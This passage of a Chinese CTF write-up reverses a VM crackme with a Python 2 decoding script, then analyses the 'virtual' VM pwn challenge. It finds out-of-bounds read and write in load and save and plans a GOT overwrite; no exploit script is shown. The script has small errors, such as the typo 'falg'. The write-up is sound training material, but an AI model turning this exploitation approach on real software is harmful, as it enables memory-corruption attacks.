0x01, 0x17, 0x6A, 0x01, 0x02, 0x3B, 0x02, 0x0F, 0x12, 0x03, 0x06, 0x40, 0x01, 0x03, 0x56, 0x02, 0x01, 0x3C, 0x02, 0x00, 0x23, 0x02, 0x0B, 0x33, 0x01, 0x12, 0x5F, 0x01, 0x15, 0x43, 0x02, 0x06, 0x4B, 0x01, 0x16, 0x69, 0x02, 0x14, 0x12, 0x01, 0x11, 0x05, 0x01, 0x0B, 0x5E, 0x02, 0x17, 0x4A, 0x02, 0x17, 0x21, 0x02, 0x0C, 0x60, 0x01, 0x05, 0x54, 0x03, 0x0D, 0x1A, 0x01, 0x0C, 0x19, 0x03, 0x0C, 0x7C, 0x02, 0x01, 0x61, 0x03, 0x06, 0x41, 0x01, 0x05, 0x7F, 0x03, 0x08, 0x71, 0x03, 0x0B, 0x27, 0x03, 0x15, 0x55, 0x03, 0x01, 0x33, 0x02, 0x0E, 0x4D, 0x01, 0x06, 0x3E, 0x02, 0x0B, 0x72, 0x03, 0x12, 0x35, 0x01, 0x03, 0x69, 0x03, 0x12, 0x07, 0x03, 0x13, 0x7A, 0x02, 0x08, 0x1E, 0x01, 0x11, 0x12, 0x03, 0x17, 0x63, 0x03, 0x10, 0x38, 0x03, 0x13, 0x70, 0x02, 0x0A, 0x5E, 0x02, 0x06, 0x38, 0x01, 0x00, 0x47, 0x01, 0x0A, 0x73, 0x03, 0x01, 0x21, 0x01, 0x09, 0x0B, 0x01, 0x04, 0x7F, 0x03, 0x14, 0x72, 0x03, 0x06, 0x73, 0x03, 0x0D, 0x2A, 0x03, 0x16, 0x17, 0x02, 0x13, 0x2A, 0x01, 0x05, 0x65, 0x03, 0x0D, 0x41, 0x02, 0x05, 0x64, 0x01, 0x11, 0x52, 0x01, 0x0E, 0x45, 0x01, 0x07, 0x5A, 0x02, 0x06, 0x78, 0x02, 0x0C, 0x30, 0x03, 0x14, 0x77, 0x02, 0x14, 0x7F, 0x02, 0x12, 0x16, 0x02, 0x09, 0x1E, 0x01, 0x15, 0x61, 0x02, 0x09, 0x53, 0x02, 0x15, 0x7C, 0x02, 0x17, 0x1E, 0x03, 0x0A, 0x63, 0x01, 0x0B, 0x1B, 0x02, 0x07, 0x31, 0x01, 0x0C, 0x09, 0x03, 0x10, 0x1A, 0x01, 0x04, 0x45, 0x02, 0x11, 0x7C, 0x01, 0x13, 0x45, 0x02, 0x10, 0x67, 0x01, 0x11, 0x16, 0x01, 0x14, 0x35, 0x02, 0x0B, 0x4B, 0x01, 0x0D, 0x2C, 0x03, 0x07, 0x7C, 0x02, 0x0C, 0x58, 0x03, 0x14, 0x09, 0x03, 0x07, 0x7B, 0x01, 0x0A, 0x12, 0x03, 0x0F, 0x3B, 0x01, 0x11, 0x29, 0x01, 0x0B, 0x29, 0x02, 0x06, 0x0D, 0x02, 0x0D, 0x7E, 0x02, 0x0C, 0x60, 0x01, 0x12, 0x52, 0x01, 0x0D, 0x04, 0x01, 0x09, 0x28, 0x01, 0x14, 0x7D, 0x03, 0x0A, 0x43, 0x01, 0x17, 0x63, 0x01, 0x11, 0x19, 0x02, 0x12, 0x4D, 0x02, 0x08, 0x59, 0x01, 0x0E, 0x25, 0x01, 0x03, 0x53, 0x03, 0x05, 0x51, 0x02, 0x02, 0x1D, 0x01, 0x0C, 0x3E, 0x03, 0x13, 0x24, 0x03, 0x08, 0x28, 0x02, 0x13, 0x64, 0x02, 0x0A, 0x34, 0x03, 0x0E, 0x13, 0x01, 0x0C, 0x73, 0x03, 0x0B, 0x10, 0x02, 0x0F, 0x51, 0x02, 0x10, 0x49, 0x02, 0x03, 0x14, 0x03, 0x16, 0x20, 0x03, 0x15, 0x1B, 0x02, 0x16, 0x06, 0x02, 0x08, 0x0B, 0x02, 0x05, 0x4D, 0x01, 0x0D, 0x10, 0x01, 0x0D, 0x54, 0x02, 0x11, 0x18, 0x02, 0x15, 0x0A, 0x01, 0x11, 0x47, 0x01, 0x02, 0x27, 0x01, 0x0B, 0x48, 0x02, 0x15, 0x22, 0x01, 0x10, 0x7A, 0x01, 0x0E, 0x0E, 0x01, 0x0A, 0x10, 0x01, 0x13, 0x2C, 0x02, 0x0A, 0x11, 0x01, 0x0A, 0x2A, 0x03, 0x01, 0x7E, 0x01, 0x0E, 0x35, 0x02, 0x17,
0x2A, 0x02, 0x16, 0x08, 0x02, 0x09, 0x1A, 0x02, 0x03, 0x33, 0x02, 0x05, 0x51, 0x03, 0x0A, 0x06, 0x02, 0x0B, 0x7C, 0x01, 0x0C, 0x46, 0x02, 0x10, 0x3F, 0x01, 0x06, 0x63, 0x01, 0x02, 0x63, 0x01, 0x0B, 0x5A, 0x03, 0x0A, 0x11, 0x02, 0x0E, 0x0A, 0x01, 0x0B, 0x31, 0x03, 0x03, 0x27, 0x03, 0x03, 0x21, 0x02, 0x0E, 0x3B, 0x03, 0x14, 0x0A, 0x03, 0x08, 0x77, 0x03, 0x17, 0x28, 0x01, 0x15, 0x7A, 0x03, 0x0B, 0x4E, 0x03, 0x0B, 0x51, 0x02, 0x14, 0x61, 0x02, 0x0E, 0x39, 0x03, 0x0B, 0x66, 0x03, 0x00, 0x56, 0x01, 0x15, 0x1B, 0x02, 0x13, 0x41, 0x03, 0x0B, 0x7C, 0x01, 0x13, 0x3E, 0x02, 0x12, 0x04, 0x03, 0x13, 0x72, 0x02, 0x02, 0x27, 0x01, 0x04, 0x78, 0x01, 0x0C, 0x54, 0x03, 0x13, 0x02, 0x01, 0x09, 0x74, 0x01, 0x01, 0x10, 0x03, 0x00, 0x6F, 0x03, 0x05, 0x26, 0x02, 0x05, 0x02, 0x01, 0x02, 0x10, 0x02, 0x17, 0x3C, 0x02, 0x12, 0x24, 0x01, 0x10, 0x37, 0x01, 0x02, 0x03, 0x03, 0x13, 0x11, 0x03, 0x16, 0x1D, 0x01, 0x16, 0x5E, 0x01, 0x14, 0x0E, 0x02, 0x00, 0x53, 0x01, 0x11, 0x01, 0x01, 0x00, 0x41, 0x01, 0x06, 0x23, 0x03, 0x03, 0x68, 0x03, 0x05, 0x21, 0x01, 0x02, 0x28, 0x02, 0x0A, 0x43, 0x01, 0x0A, 0x5E, 0x01, 0x04, 0x11, 0x01, 0x06, 0x03, 0x01, 0x04, 0x0D, 0x03, 0x0A, 0x54, 0x02, 0x01, 0x5A, 0x02, 0x07, 0x6F, 0x01, 0x0B, 0x34, 0x03, 0x12, 0x68, 0x02, 0x13, 0x0C, 0x03, 0x00, 0x6D, 0x01, 0x12, 0x7E, 0x03, 0x06, 0x44, 0x03, 0x10, 0x25, 0x01, 0x0A, 0x42, 0x02, 0x09, 0x60, 0x03, 0x01, 0x76, 0x03, 0x05, 0x53, 0x03, 0x0A, 0x3B, 0x02, 0x03, 0x75, 0x03, 0x01, 0x3B, 0x01, 0x01, 0x62, 0x02, 0x06, 0x6F, 0x03, 0x07, 0x10, 0x03, 0x02, 0x04, 0x03, 0x11, 0x5B, 0x01, 0x08, 0x5A, 0x01, 0x16, 0x5C, 0x02, 0x0B, 0x1C, 0x02, 0x04, 0x2B, 0x02, 0x02, 0x53, 0x03, 0x11, 0x25, 0x01, 0x11, 0x08, 0x03, 0x05, 0x6F, 0x03, 0x12, 0x36, 0x03, 0x10, 0x68, 0x02, 0x09, 0x15, 0x03, 0x17, 0x33, 0x03, 0x16, 0x59, 0x02, 0x08, 0x44, 0x02, 0x12, 0x33, 0x01, 0x15, 0x26, 0x02, 0x16, 0x68, 0x03, 0x05, 0x3F, 0x03, 0x05, 0x49, 0x03, 0x02, 0x00, 0x02, 0x11, 0x08, 0x02, 0x11, 0x5E, 0x03, 0x06, 0x7F, 0x03, 0x12, 0x4D, 0x01, 0x14, 0x77, 0x03, 0x0B, 0x56, 0x02, 0x14, 0x35, 0x02, 0x0D, 0x39, 0x02, 0x09, 0x18, 0x03, 0x16, 0x03, 0x01, 0x0B, 0x4D, 0x03, 0x07, 0x0F, 0x01, 0x09, 0x3F, 0x03, 0x15, 0x5E, 0x03, 0x04, 0x67, 0x01, 0x06, 0x11, 0x03, 0x01, 0x77, 0x01, 0x04, 0x1B, 0x02, 0x02, 0x5E, 0x03, 0x14, 0x1C, 0x02, 0x13, 0x1D, 0x03, 0x12, 0x78, 0x01, 0x03, 0x1A, 0x03, 0x10, 0x03, 0x02, 0x05, 0x6D, 0x01, 0x16, 0x4E, 0x02, 0x15, 0x31, 0x02, 0x0A, 0x2B, 0x01, 0x0E, 0x4A, 0x03, 0x11, 0x3D, 0x01, 0x06, 0x2D, 0x02, 0x17, 0x26, 0x02, 0x06, 0x1E, 0x02, 0x13, 0x5B, 0x02, 0x00, 0x54, 0x01, 0x00, 0x7C, 0x02, 0x0D, 0x5D, 0x02, 0x05, 0x3F, 0x01, 0x08, 0x01, 0x03, 0x11, 0x3A, 0x01, 0x13, 0x70, 0x03, 0x12, 0x78, 0x02, 0x0C, 0x50, 0x01, 0x10, 0x6C, 0x01, 0x07, 0x1E, 0x01, 0x03, 0x4D, 0x02, 0x15, 0x18, 0x02, 0x0A, 0x4A, 0x02, 0x15, 0x3F, 0x01, 0x16, 0x20, 0x03, 0x01, 0x41, 0x02, 0x06, 0x2E, 0x02, 0x12, 0x64, 0x02, 0x0D, 0x64, 0x02, 0x16, 0x18, 0x02, 0x0B, 0x2C, 0x03, 0x08, 0x4A, 0x02, 0x04, 0x17, 0x03, 0x10, 0x60, 0x01, 0x14, 0x31, 0x02, 0x0B, 0x3E, 0x01, 0x00, 0x52, 0x03, 0x0C, 0x2B, 0x01, 0x0D, 0x15, 0x02, 0x01, 0x2B, 0x02, 0x17, 0x73, 0x01, 0x14, 0x74, 0x03, 0x10, 0x20, 0x03, 0x15, 0x5F, 0x02, 0x11, 0x59, 0x02, 0x16, 0x01, 0x03, 0x0F, 0x5B, 0x02, 0x04, 0x3F, 0x01, 0x0B, 0x2B, 0x02, 0x0A, 0x1A, 0x03, 0x01, 0x23, 0x03, 0x10, 0x64, 0x03, 0x0A, 0x17, 0x03, 0x17, 0x46, 0x01, 0x03, 0x27, 0x02, 0x12, 0x25, 0x02, 0x11, 0x3A, 0x03, 0x17, 0x0A, 0x03, 0x14, 0x21, 0x01, 0x17, 0x5F, 0x03, 0x0D, 0x56, 0x02, 0x10, 0x77, 0x01, 0x15, 0x5B, 0x03, 0x03, 0x10, 0x01, 0x0B, 0x11, 0x01, 0x0D, 0x2C, 0x02, 0x11, 0x3A, 0x01, 0x0D, 0x5B, 0x03, 0x10, 0x40, 0x03, 0x16, 0x24, 0x03, 0x10, 0x28, 0x03, 0x17, 0x05, 0x02, 0x08, 0x46, 0x01, 0x14, 0x2B, 0x03, 0x0A, 0x0A, 0x01, 0x0E, 0x1A, 0x03, 0x0B, 0x69, 0x03, 0x15, 0x2D, 0x03, 0x0B, 0x3B, 0x01, 0x08, 0x17, 0x03, 0x0A, 0x58, 0x01, 0x00, 0x60, 0x01, 0x0F, 0x0E, 0x02, 0x02, 0x62, 0x02, 0x0E, 0x02, 0x02, 0x0C, 0x09, 0x01, 0x04, 0x53, 0x03, 0x07, 0x1B, 0x02, 0x10, 0x01, 0x03, 0x03, 0x67, 0x02, 0x04, 0x26, 0x02, 0x07, 0x75, 0x03, 0x17, 0x02, 0x02, 0x0F, 0x1D, 0x02, 0x00, 0x18, 0x01, 0x0A, 0x0B, 0x02, 0x0B, 0x0D, 0x01, 0x17, 0x04, 0x01, 0x0B, 0x1F, 0x02, 0x13, 0x2F, 0x02, 0x01, 0x42, 0x02, 0x14, 0x4C, 0x03, 0x0A, 0x1A, 0x03, 0x0D, 0x2B, 0x01, 0x12, 0x0F, 0x01, 0x04, 0x25, 0x02, 0x09, 0x3C, 0x02, 0x14, 0x1B, 0x02, 0x0F, 0x2C, 0x01, 0x11, 0x05, 0x02, 0x05, 0x49, 0x01, 0x06, 0x4B, 0x03, 0x0F, 0x0F, 0x01, 0x02, 0x0C, 0x03, 0x07, 0x7F, 0x03, 0x12, 0x42, 0x01, 0x01, 0x7F, 0x01, 0x05, 0x53, 0x01, 0x04, 0x5A, 0x03, 0x17, 0x58, 0x02, 0x04, 0x01, 0x01, 0x16, 0x31, 0x03, 0x0B, 0x53, 0x01, 0x11, 0x58, 0x02, 0x17, 0x37, 0x02, 0x0D, 0x24, 0x01, 0x00, 0x31, 0x03, 0x15, 0x49, 0x01, 0x0F, 0x31, 0x02, 0x0F, 0x65, 0x03, 0x03, 0x72, 0x01, 0x11, 0x5D, 0x03, 0x10, 0x17, 0x02, 0x05, 0x22, 0x03, 0x03, 0x22, 0x02, 0x05, 0x32, 0x01, 0x09, 0x72, 0x03, 0x00, 0x7B, 0x03, 0x0E, 0x5F, 0x01, 0x11, 0x46, 0x01, 0x07, 0x42, 0x03, 0x03, 0x43, 0x03, 0x16, 0x7F, 0x01, 0x15, 0x45, 0x01, 0x05, 0x3F, 0x01, 0x03, 0x5A, 0x01, 0x0D, 0x1A, 0x03, 0x11, 0x75, 0x01, 0x00, 0x11, 0x03, 0x16, 0x6E, 0x02, 0x17, 0x73, 0x01, 0x15, 0x55, 0x03, 0x0E, 0x19, 0x01, 0x15, 0x2C, 0x02, 0x11, 0x6B, 0x01, 0x01, 0x04, 0x03, 0x04, 0x78, 0x02, 0x0C, 0x5E, 0x02, 0x07, 0x76, 0x01, 0x13, 0x51, 0x02, 0x15, 0x33, 0x02, 0x11, 0x53, 0x01, 0x17, 0x7A, 0x01, 0x12, 0x3D, 0x03, 0x12, 0x61, 0x01, 0x09, 0x4A, 0x03, 0x14, 0x1C, 0x01, 0x15, 0x04, 0x01, 0x14, 0x11, 0x01, 0x14, 0x7B, 0x02, 0x14, 0x71, 0x03, 0x16, 0x6A, 0x01, 0x03, 0x42, 0x03, 0x0C, 0x03, 0x03, 0x10, 0x48, 0x02, 0x0D, 0x68, 0x02, 0x00, 0x5E, 0x03, 0x15, 0x4D, 0x02, 0x06, 0x7D, 0x01, 0x05, 0x2C, 0x01, 0x07, 0x4E, 0x02, 0x0D, 0x29, 0x03, 0x17, 0x77, 0x02, 0x0F, 0x15, 0x03, 0x17, 0x66, 0x02, 0x09, 0x45, 0x02, 0x0E, 0x68, 0x01, 0x13, 0x56, 0x02, 0x16, 0x73, 0x02, 0x0E, 0x6D, 0x01, 0x0E, 0x39, 0x01, 0x04, 0x76, 0x02, 0x07, 0x52, 0x03, 0x12, 0x30, 0x02, 0x0E, 0x50, 0x03, 0x06, 0x12, 0x02, 0x0F, 0x50, 0x03, 0x10, 0x40, 0x02, 0x10, 0x2F, 0x03, 0x07, 0x74, 0x02, 0x11, 0x50, 0x01, 0x0D, 0x7F, 0x02, 0x13, 0x1C, 0x01, 0x0B, 0x26, 0x02, 0x00, 0x11, 0x03, 0x0F, 0x72, 0x03, 0x01, 0x5A, 0x01, 0x16, 0x36, 0x01, 0x10, 0x37, 0x03, 0x08, 0x22, 0x03, 0x0C, 0x50, 0x02, 0x04, 0x5D, 0x02, 0x0B, 0x08, 0x01, 0x0C, 0x50, 0x03, 0x0A, 0x6A, 0x01, 0x17, 0x34, 0x01, 0x0C, 0x71, 0x02, 0x06, 0x1F, 0x01, 0x08, 0x22, 0x02, 0x05, 0x43, 0x02, 0x05, 0x68, 0x03, 0x05, 0x26, 0x03, 0x02, 0x57, 0x01, 0x11, 0x7C, 0x03, 0x0B, 0x64, 0x01, 0x15, 0x2D, 0x01, 0x06, 0x59, 0x03, 0x13, 0x24, 0x03, 0x02, 0x49, 0x03, 0x04, 0x70, 0x01, 0x13, 0x2F, 0x01, 0x12, 0x72, 0x01, 0x08, 0x0E, 0x02, 0x0D, 0x3B, 0x01, 0x03, 0x2F, 0x01, 0x11, 0x69, 0x01, 0x08, 0x49, 0x02, 0x01, 0x36, 0x02, 0x11, 0x51, 0x03, 0x0B, 0x01, 0x03, 0x10, 0x49, 0x01, 0x11, 0x5D, 0x02, 0x12, 0x72, 0x03, 0x10, 0x6C, 0x03, 0x05, 0x00, 0x01, 0x04, 0x4A, 0x01, 0x14, 0x20, 0x02, 0x05, 0x26, 0x01, 0x01, 0x01, 0x02, 0x09, 0x75, 0x02, 0x01, 0x0C, 0x01, 0x0F, 0x64, 0x01, 0x17, 0x36, 0x03, 0x02, 0x2D, 0x03, 0x00, 0x61, 0x03, 0x07, 0x64, 0x02, 0x12, 0x2E, 0x02, 0x12, 0x29, 0x01, 0x05, 0x7D, 0x01, 0x02, 0x32, 0x01, 0x10, 0x2C, 0x02, 0x08, 0x4B, 0x03, 0x0C, 0x74, 0x03, 0x06, 0x33, 0x02, 0x05, 0x1B, 0x01, 0x0C, 0x22, 0x03, 0x16, 0x6C, 0x03, 0x01, 0x6B, 0x03, 0x02, 0x03, 0x01, 0x02, 0x43, 0x02, 0x05, 0x5B, 0x03, 0x17, 0x15, 0x02, 0x15, 0x3B, 0x02, 0x12, 0x0A, 0x01, 0x05, 0x01, 0x02, 0x14, 0x25, 0x02, 0x02, 0x11, 0x03, 0x05, 0x4C, 0x02, 0x0D, 0x2F, 0x02, 0x0B, 0x3A, 0x03, 0x12, 0x1E, 0x01, 0x01, 0x5D, 0x01, 0x14, 0x38, 0x03, 0x09, 0x47, 0x03, 0x0B, 0x6C, 0x03, 0x0A, 0x04, 0x03, 0x0C, 0x21, 0x01, 0x16, 0x0B, 0x03, 0x0E, 0x23, 0x03, 0x10, 0x0A, 0x01, 0x0A, 0x24, 0x01, 0x01, 0x42, 0x03, 0x10, 0x33, 0x03, 0x08, 0x50, 0x03, 0x01, 0x22, 0x02, 0x04, 0x16, 0x02, 0x08, 0x29, 0x01, 0x03, 0x20, 0x03, 0x04, 0x1A, 0x01, 0x0C, 0x2E, 0x03, 0x0C, 0x2A, 0x02, 0x15, 0x0D, 0x02, 0x0D, 0x47, 0x01, 0x0F, 0x49, 0x01, 0x05, 0x5D, 0x03, 0x16, 0x41, 0x02, 0x09, 0x1F, 0x01, 0x11, 0x00, 0x03, 0x08, 0x51, 0x02, 0x12, 0x14, 0x02, 0x12, 0x06, 0x03, 0x05, 0x7F, 0x03, 0x0D, 0x5A, 0x03, 0x0B, 0x61, 0x02, 0x01, 0x78, 0x02, 0x13, 0x1A, 0x02, 0x11, 0x01, 0x01, 0x0E, 0x11, 0x02, 0x0A, 0x01, 0x01, 0x05, 0x7E, 0x02, 0x16, 0x1C, 0x02, 0x10, 0x21, 0x02, 0x11, 0x30, 0x03, 0x08, 0x75, 0x03, 0x0C, 0x15, 0x03, 0x13, 0x1B, 0x03, 0x16, 0x43, 0x01, 0x08, 0x66, 0x03, 0x17, 0x43, 0x03, 0x0D, 0x46, 0x01, 0x00, 0x02, 0x01, 0x02, 0x12, 0x01, 0x15, 0x14, 0x03, 0x0B, 0x63, 0x03, 0x11, 0x08, 0x02, 0x16, 0x40, 0x03, 0x02, 0x62, 0x02, 0x02, 0x0F, 0x03, 0x0B, 0x13, 0x01, 0x09, 0x69, 0x01, 0x03, 0x3A, 0x02, 0x0E, 0x43, 0x03, 0x09, 0x29, 0x02, 0x00, 0x15, 0x02, 0x08, 0x5F, 0x02, 0x00, 0x06, 0x02, 0x03, 0x69, 0x01, 0x08, 0x13, 0x03, 0x13, 0x75, 0x03, 0x02, 0x58, 0x03, 0x04, 0x7D, 0x01, 0x07, 0x2E, 0x03, 0x00, 0x3A, 0x01, 0x16, 0x4C, 0x02, 0x01, 0x42, 0x03, 0x12, 0x65, 0x01, 0x13, 0x78, 0x02, 0x08, 0x7A, 0x03, 0x0C, 0x7A, 0x01, 0x01, 0x40, 0x02, 0x0B, 0x41, 0x01, 0x16, 0x10, 0x01, 0x17, 0x1A, 0x01, 0x08, 0x6D, 0x03, 0x0F, 0x74, 0x03, 0x09, 0x00, 0x01, 0x00, 0x1F, 0x03, 0x13, 0x30, 0x03, 0x04, 0x6A, 0x01, 0x06, 0x30, 0x02, 0x10, 0x56, 0x03, 0x0B, 0x76, 0x02, 0x16, 0x1D, 0x02, 0x0F, 0x28, 0x02, 0x08, 0x25, 0x03, 0x07, 0x40, 0x01, 0x13, 0x7D, 0x03, 0x10, 0x6B, 0x01, 0x17, 0x34, 0x03, 0x04, 0x02, 0x01, 0x00, 0x77, 0x03, 0x01, 0x51, 0x01, 0x08, 0x19, 0x03, 0x0E, 0x38, 0x02, 0x11, 0x31, 0x03, 0x0F, 0x2B, 0x02, 0x11, 0x1A, 0x01, 0x0E, 0x49, 0x01, 0x10, 0x72, 0x01, 0x0C, 0x70, 0x01, 0x0D, 0x25, 0x03, 0x12, 0x15, 0x01, 0x02, 0x01, 0x03, 0x0B, 0x74, 0x03, 0x12, 0x65, 0x02, 0x01, 0x61, 0x03, 0x07, 0x62, 0x01, 0x13, 0x39, 0x03, 0x16, 0x5D, 0x03, 0x13, 0x50, 0x03, 0x0B, 0x3D, 0x01, 0x09, 0x07, 0x02, 0x03, 0x31, 0x01, 0x0B, 0x38, 0x01, 0x0B, 0x3E, 0x03, 0x05, 0x1A, 0x03, 0x03, 0x40, 0x03, 0x12, 0x28, 0x03, 0x09, 0x1E, 0x03, 0x01, 0x65, 0x02, 0x04, 0x17, 0x01, 0x10, 0x29, 0x01, 0x0B, 0x77, 0x03, 0x14, 0x3F, 0x01, 0x01, 0x65, 0x02, 0x13, 0x67, 0x02, 0x04, 0x30, 0x02, 0x13, 0x00, 0x01, 0x00, 0x1A, 0x03, 0x03, 0x5E, 0x03, 0x15, 0x56, 0x02, 0x09, 0x0F, 0x02, 0x0B, 0x74, 0x01, 0x0E, 0x6C, 0x01, 0x03, 0x7C, 0x02, 0x0B, 0x3B, 0x02, 0x0A, 0x3A, 0x02, 0x12, 0x4B, 0x03, 0x13, 0x72, 0x01, 0x16, 0x26, 0x02, 0x03, 0x35, 0x03, 0x02, 0x2A, 0x01, 0x01, 0x55, 0x01, 0x0A, 0x3F, 0x01, 0x14, 0x55, 0x02, 0x12, 0x10, 0x02, 0x06, 0x15, 0x02, 0x09, 0x40, 0x03, 0x07, 0x61, 0x03, 0x09, 0x3B, 0x01, 0x0C, 0x38, 0x01, 0x03, 0x37, 0x03, 0x0B, 0x1A, 0x02, 0x12, 0x09, 0x03, 0x11, 0x4C, 0x03, 0x07, 0x70, 0x01, 0x11, 0x14, 0x03, 0x07, 0x75, 0x01, 0x02, 0x1A, 0x01, 0x00, 0x5D, 0x02, 0x09, 0x2A, 0x03, 0x09, 0x74, 0x03, 0x05, 0x69, 0x02, 0x0A, 0x35, 0x03, 0x05, 0x32, 0x01, 0x17, 0x58, 0x02, 0x00, 0x6A, 0x03, 0x14, 0x58, 0x01, 0x0D, 0x7C, 0x01, 0x14, 0x34, 0x03, 0x13, 0x67, 0x03, 0x12, 0x67, 0x03, 0x07, 0x31, 0x02, 0x15, 0x21, 0x02, 0x0B, 0x49, 0x02, 0x10, 0x25, 0x01, 0x0D, 0x14, 0x01, 0x13, 0x25, 0x01, 0x06, 0x20, 0x03, 0x10, 0x3C, 0x02, 0x0B, 0x5A, 0x02, 0x07, 0x52, 0x01, 0x07, 0x06, 0x03, 0x02, 0x70, 0x01, 0x16, 0x04, 0x03, 0x0B, 0x52, 0x02, 0x01, 0x2B, 0x01, 0x04, 0x16, 0x01, 0x06, 0x7F, 0x01, 0x00, 0x0B, 0x02, 0x15, 0x59, 0x02, 0x06, 0x03, 0x02, 0x06, 0x3F, 0x02, 0x08, 0x34, 0x03, 0x05, 0x56, 0x02, 0x12, 0x04, 0x02, 0x15, 0x73, 0x01, 0x06, 0x1A, 0x03, 0x0D, 0x7E, 0x03, 0x0D, 0x3B, 0x02, 0x03, 0x40, 0x01, 0x00, 0x6B, 0x02, 0x15, 0x7F, 0x03, 0x09, 0x08, 0x01, 0x17, 0x5C, 0x03, 0x09, 0x22, 0x03, 0x13, 0x05, 0x02, 0x16, 0x0F, 0x01, 0x0B, 0x5C, 0x03, 0x01, 0x76, 0x01, 0x04, 0x5D, 0x02, 0x05, 0x64, 0x01, 0x01, 0x4A, 0x01, 0x05, 0x33, 0x01, 0x01, 0x08, 0x02, 0x04, 0x2B, 0x02, 0x0E, 0x1D, 0x03, 0x07, 0x38, 0x02, 0x10, 0x46, 0x03, 0x09, 0x07, 0x02, 0x08, 0x4A, 0x02, 0x06, 0x43, 0x03, 0x01, 0x45, 0x02, 0x07, 0x7A, 0x02, 0x0E, 0x78, 0x02, 0x06, 0x56, 0x01, 0x07, 0x4F, 0x02, 0x03, 0x57, 0x02, 0x11, 0x49, 0x02, 0x00, 0x18, 0x03, 0x0A, 0x17, 0x02, 0x08, 0x08, 0x01, 0x17, 0x3D, 0x03, 0x09, 0x19, 0x01, 0x17, 0x35, 0x01, 0x05, 0x1C, 0x03, 0x0B, 0x16, 0x03, 0x0F, 0x43, 0x03, 0x08, 0x10, 0x03, 0x11, 0x14, 0x03, 0x00, 0x2E, 0x01, 0x02, 0x11, 0x02, 0x06, 0x68, 0x01, 0x0E, 0x2E, 0x01, 0x0A, 0x18, 0x01, 0x09, 0x36, 0x02, 0x16, 0x60, 0x02, 0x0A, 0x3A, 0x02, 0x10, 0x29, 0x02, 0x12, 0x50, 0x02, 0x17, 0x5B, 0x02, 0x12, 0x3E, 0x01, 0x0D, 0x58, 0x02, 0x14, 0x67, 0x03, 0x0F, 0x24, 0x01, 0x14, 0x50, 0x01, 0x12, 0x70, 0x03, 0x0C, 0x0D, 0x03, 0x14, 0x49, 0x01, 0x09, 0x16]
print len(flag)
for i in xrange(len(vm_code)-3,-1,-3):
opcode = vm_code[i]
v3 = vm_code[i + 2]
offset = opcode
if opcode ==1:
offset = vm_code[i + 1]
# *(&store_flag + offset) += v3
print "flag[value1] += value2"
flag[offset] = (flag[offset] - v3) % 256
if opcode ==2:
offset = vm_code[i + 1]
# *(&store_flag + offset) -= v3
print "flag[value1] -= value2"
flag[offset] = (flag[offset] + v3) % 256
if opcode ==3:
offset = vm_code[i + 1]
print "flag[value1] ^= value2"
flag[offset] = (flag[offset] ^ v3) % 256
# *(&store_flag + offset) ^= v3
if opcode ==4:
offset = vm_code[i + 1]
print "flag[value1] *= value2"
flag[offset] = (flag[offset] / v3) % 256
# *(&store_flag + offset) *= v3
if opcode ==5:
offset = vm_code[i + 1]
flag[offset] = (flag[offset] ^ falg[v3]) % 256
# *(&store_flag + offset) ^= *(&store_flag + vm_code[i + 2])
print "flag[value1] ^= flag[value2]"
print flag
c = ''
for i in flag:
c += chr(i)
print c

总结关于vm的re做题心得:(体力活)

1、vm_init(这是最关键的,搞清楚了vm的实现和功能,才能做题)

重点分析这部分,知道寄存器情况,函数调用功能情况,opcode和函数handle的映射关系,还有stack的情况,再写出struct结构体,vm的题目基本能理清楚框架了

一般的顺序都是:寄存器(r1+r2+r3+eip等)+opcode+handle函数集,这里建议用ida的结构体清晰地表示出来

2、对于逆向来说,需要找到vm_code,这是操作的指令集,找到了,就能对号入座,分析出汇编层面的加密的算法。

3、将分析出来的汇编转成伪代码的高级语言,找到check函数,实现逆向反推和解密

二、vm下的pwn题

在有了vm逆向的经验基础上,做vm的pwn题,就会发现,其实是差不多的,最大的不同就是,vm_code是要自己写的,根据漏洞点去构造出payload,让机器去执行你的vm_code,通过做题来学习吧。

1、国赛一道题:virtual

这题保护没开pie,同时got表可改,这就比较友好:

做vm类的题目,很重要的一点就是分析结构,ida打开然后一波分析main可知:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *name; // [rsp+18h] [rbp-28h]
#6 *data_heap; // [rsp+20h] [rbp-20h]
#6 *ins_heap; // [rsp+28h] [rbp-18h]
void **vm_stack; // [rsp+30h] [rbp-10h]
char *store; // [rsp+38h] [rbp-8h]

init_0();
name = malloc(0x20uLL);
data_heap = memset_0(0x40); // 0x200
ins_heap = memset_0(0x80); // 0x400
vm_stack = memset_0(0x40); // 0x200
store = malloc(0x400uLL);
puts("Your program name:");
read_1(name, 0x20u);
puts("Your instruction:");
read_1(store, 0x400u);
get_opcode(ins_heap, store); // 输入字符串指令集 自动转成opcode
puts("Your stack data:");
read_1(store, 0x400u);
get_data(data_heap, store); // 输入数据存在vm_stack上
if ( handle(ins_heap) )
{
puts("-------");
puts(name);
printf_0(data_heap);
puts("-------");
}
else
{ // save函数有一次任意地址写的操作
puts("Your Program Crash :)");
}
free(store);
free_0(ins_heap);
free_0(data_heap);
free_0(vm_stack);
return 0LL; // 每次执行完一次数据,就会往后移动一次
}

这里我们看到作者自己实现了vm_stack用于存放数据,ins_heap存放指令集,data_heap存放数据集,这里提个醒就是数据逆序存储,在vm_stack中再次逆序,所以vm_stack中的数据和我们的输入顺序是一样的,但是呢,对数据的操作是逆序的,这里我们找到了handle处理的函数:(动态调试可知分别对应的是谁)

57464979544

程序的数据框架如下:

57465013011

我们自行定义结构体:

57465017473

具体实现的功能,一般不会静态去看,因为有时静态分析比较难知道程序具体干了什么,所以我们动态调试去看:

这里只演示load函数和save函数,漏洞点也在这两个函数中:

57465051653

load前:

57465048187

load后:

57465049947

所以可以知道0xc0a6a0是存放数组的首地址,那么第一个数下标就是0,据此,可知道是以vm_stack中的倒数第一个数为下标,根据0x21中的首地址去索引,当输入-4时,0xc0a6bd[-4]的值会被压入栈中,很明显没有下标检查,导致越界,继续分析save函数:

save前:

57465081230

save后:

57465084641

很清晰可以知道,是把最后一个数当做下标,然后将倒数第二个数给写入对应位置,0xc0a6bd[2]=0xc0a6bd

剩下的push和pop那些都是常规操作,自己分析即可,重点是漏洞函数的分析。

测试完了,知道了有一个任意地址读,还有一个任意地址写,那么很自然想到改got表,这里printf函数没有利用到,因为打印的东西不是我们想要的东西,而且打印完程序就退出了。

